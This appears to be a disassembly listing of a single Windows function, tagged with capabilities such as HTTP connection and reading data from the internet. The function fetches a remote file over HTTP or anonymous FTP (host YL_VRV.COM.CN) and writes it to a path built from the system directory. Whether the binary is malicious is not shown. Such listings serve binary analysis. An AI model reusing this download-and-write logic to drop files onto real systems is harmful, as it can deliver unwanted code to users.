Function at 0x4c63f0
Capabilities:
Connect to http server
Create http request
Get common file path
Read data from internet
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x56a4f2
mov eax, dword fs:[0]
push eax
mov eax, 0x2938
mov dword fs:[0], esp
call fcn.0053aa40
mov eax, dword [0x5af710]
xor eax, esp
push ebx
push ebp
push esi
mov dword [esp + 0x2940], eax
push edi
mov ebp, ecx
mov eax, 1
xor edi, edi
lea ecx, [esp + 0x24]
mov dword [esp + 0x34], ebp
mov dword [esp + 0x20], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], edi
call fcn.005560fb
mov eax, dword [ebp + 8]
add ebp, 8
sub eax, 0x10
push eax
mov dword [esp + 0x2954], edi
call fcn.0040b110
lea esi, [eax + 0x10]
mov dword [esp + 0x14], esi
push 0x2f
push esi
mov byte [esp + 0x295c], 1
call fcn.0053def4
add esp, 0xc
cmp eax, edi
je 0x4c647d
sub eax, esi
mov ebx, eax
jns 0x4c64ba
lea eax, [esi - 0x10]
mov byte [esp + 0x2950], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4c649f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea ecx, [esp + 0x24]
mov dword [esp + 0x2950], 0xffffffff
call fcn.0055613a
xor eax, eax
jmp 0x4c690b
push 0x104
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0x40]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4c64d1
sub eax, edx
dec eax
cmp eax, edi
jle 0x4c647d
cmp byte [esp + eax + 0x40], 0x5c
je 0x4c6501
lea edi, [esp + 0x40]
dec edi
jmp 0x4c64f0
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4c64f0
mov ax, word [0x572ea0]
mov word [edi], ax
lea ecx, [esp + 0x40]
push ecx
lea ecx, [esp + 0x18]
call fcn.004071e0
mov eax, dword [esi - 0xc]
sub eax, ebx
dec eax
push eax
lea edx, [esp + 0x1c]
push edx
lea ecx, [esp + 0x18]
mov byte [esp + 0x2958], 2
call fcn.00418d32
mov eax, dword [eax]
mov ecx, dword [eax - 0xc]
push ecx
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x2958], 3
call fcn.0040b2c0
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
or ebx, 0xffffffff
mov byte [esp + 0x2950], 2
lea ecx, [eax + 0xc]
mov edx, ebx
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4c656c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea ecx, [esp + 0x10]
call fcn.0042a797
mov esi, dword [esp + 0x10]
mov eax, dword [esi - 0xc]
test eax, eax
jl 0x4c66a5
push str.HTTP:__
push esi
call fcn.0053d584
add esp, 8
test eax, eax
je 0x4c66a5
sub eax, esi
mov dword [esp + 0x18], eax
js 0x4c66a5
push 0
push 0
push 0
push 0
push str.Outlook
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
jne 0x4c6620
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov byte [esp + 0x2950], 1
lea ecx, [eax + 0xc]
mov edx, ebx
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4c65e4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea eax, [esi - 0x10]
mov byte [esp + 0x2950], 0
lea ecx, [eax + 0xc]
mov edx, ebx
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4c679b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea ecx, [esp + 0x24]
mov dword [esp + 0x2950], ebx
call fcn.0055613a
xor eax, eax
jmp 0x4c690b
mov eax, dword [ebp]
push 0
push bind
push 0
push 0
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x4c6648
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x4c6789
mov ebp, dword [sym.imp.WININET.dll_InternetSetFilePointer]
push 0
push 2
push 0
push 0
push esi
call ebp
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4c6695
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
lea ecx, [esp + 0x14]
call fcn.00402200
lea ecx, [esp + 0x10]
call fcn.00402200
lea ecx, [esp + 0x24]
mov dword [esp + 0x2950], ebx
call fcn.0055613a
xor eax, eax
jmp 0x4c690b
push 0
push 0
push 0
push 0
push esi
call ebp
jmp 0x4c67d0
push ebp
lea ecx, [esp + 0x14]
call fcn.0040b4e0
mov esi, dword [esp + 0x10]
mov eax, dword [esi - 0xc]
cmp eax, 6
jle 0x4c65bf
lea eax, [esi + 6]
push 0x2f
push eax
call fcn.0053c426
add esp, 8
test eax, eax
je 0x4c65bf
sub eax, esi
mov edi, eax
js 0x4c65bf
lea eax, [edi - 6]
push eax
push 6
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0x1c]
call fcn.00418cc9
mov eax, dword [esi - 0xc]
sub eax, edi
dec eax
push eax
lea edx, [esp + 0x20]
push edx
lea ecx, [esp + 0x18]
mov byte [esp + 0x2958], 4
call fcn.00418d32
push 0
push 0
push 0
push 1
push str.FTP_Control
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0
push 1
push str.YL_VRV.COM.CN
push str.anonymous
mov edi, eax
mov eax, dword [esp + 0x2c]
push 0
push eax
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
test eax, eax
jne 0x4c6750
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x4c6777
mov ecx, dword [esp + 0x1c]
push 0
push 2
push bind
push ecx
push eax
call dword [sym.imp.WININET.dll_FtpOpenFileA]
mov esi, eax
test esi, esi
jne 0x4c67b2
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
call esi
push edi
call esi
lea ecx, [esp + 0x1c]
call fcn.00402200
lea ecx, [esp + 0x18]
call fcn.00402200
lea ecx, [esp + 0x14]
call fcn.00402200
lea ecx, [esp + 0x10]
call fcn.00402200
lea ecx, [esp + 0x24]
mov dword [esp + 0x2950], ebx
call fcn.0055613a
xor eax, eax
jmp 0x4c690b
lea ecx, [esp + 0x1c]
call fcn.00402200
lea ecx, [esp + 0x18]
mov byte [esp + 0x2950], 2
call fcn.00402200
mov ebx, dword [esp + 0x3c]
mov edx, dword [esp + 0x34]
mov eax, dword [edx + 0x14]
test eax, eax
jne 0x4c6849
mov eax, dword [esp + 0x14]
push 0
push 0
push eax
lea ecx, [esp + 0x30]
call fcn.005563a3
test eax, eax
je 0x4c6849
lea ecx, [esp + 0x24]
call fcn.00555fee
xor ecx, ecx
cmp eax, ebx
jne 0x4c6840
cmp edx, ecx
jne 0x4c6840
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
lea ecx, [esp + 0x14]
call fcn.00402200
lea ecx, [esp + 0x10]
call fcn.00402200
lea ecx, [esp + 0x24]
mov dword [esp + 0x2950], 0xffffffff
call fcn.0055613a
mov eax, 1
jmp 0x4c690b
lea ecx, [esp + 0x24]
call fcn.00556099
mov ecx, dword [esp + 0x14]
push 0
push 0x1001
push ecx
lea ecx, [esp + 0x30]
call fcn.005563a3
test eax, eax
je 0x4c68ba
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [esp + 0x20]
lea esp, [esp]
test eax, eax
jbe 0x4c68b1
lea edx, [esp + 0x20]
push edx
push 0x2800
lea eax, [esp + 0x14c]
push eax
push esi
call ebp
mov ebx, eax
mov eax, dword [esp + 0x20]
test eax, eax
mov dword [esp + 0x38], ebx
jbe 0x4c68ad
push eax
lea ecx, [esp + 0x148]
push ecx
lea ecx, [esp + 0x2c]
call fcn.00555e49
mov eax, dword [esp + 0x20]
test ebx, ebx
jne 0x4c6870
lea ecx, [esp + 0x24]
call fcn.00556099
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov edx, dword [esp + 0x34]
mov eax, dword [edx + 0x18]
test eax, eax
je 0x4c68e1
mov eax, dword [esp + 0x14]
push 1
push 0
push 0
push eax
call fcn.00506e62
lea ecx, [esp + 0x14]
call fcn.00402200
lea ecx, [esp + 0x10]
call fcn.00402200
lea ecx, [esp + 0x24]
mov dword [esp + 0x2950], 0xffffffff
call fcn.0055613a
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x2948]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x2938]
pop ebx
xor ecx, esp
call fcn.0053aaae
add esp, 0x2944
ret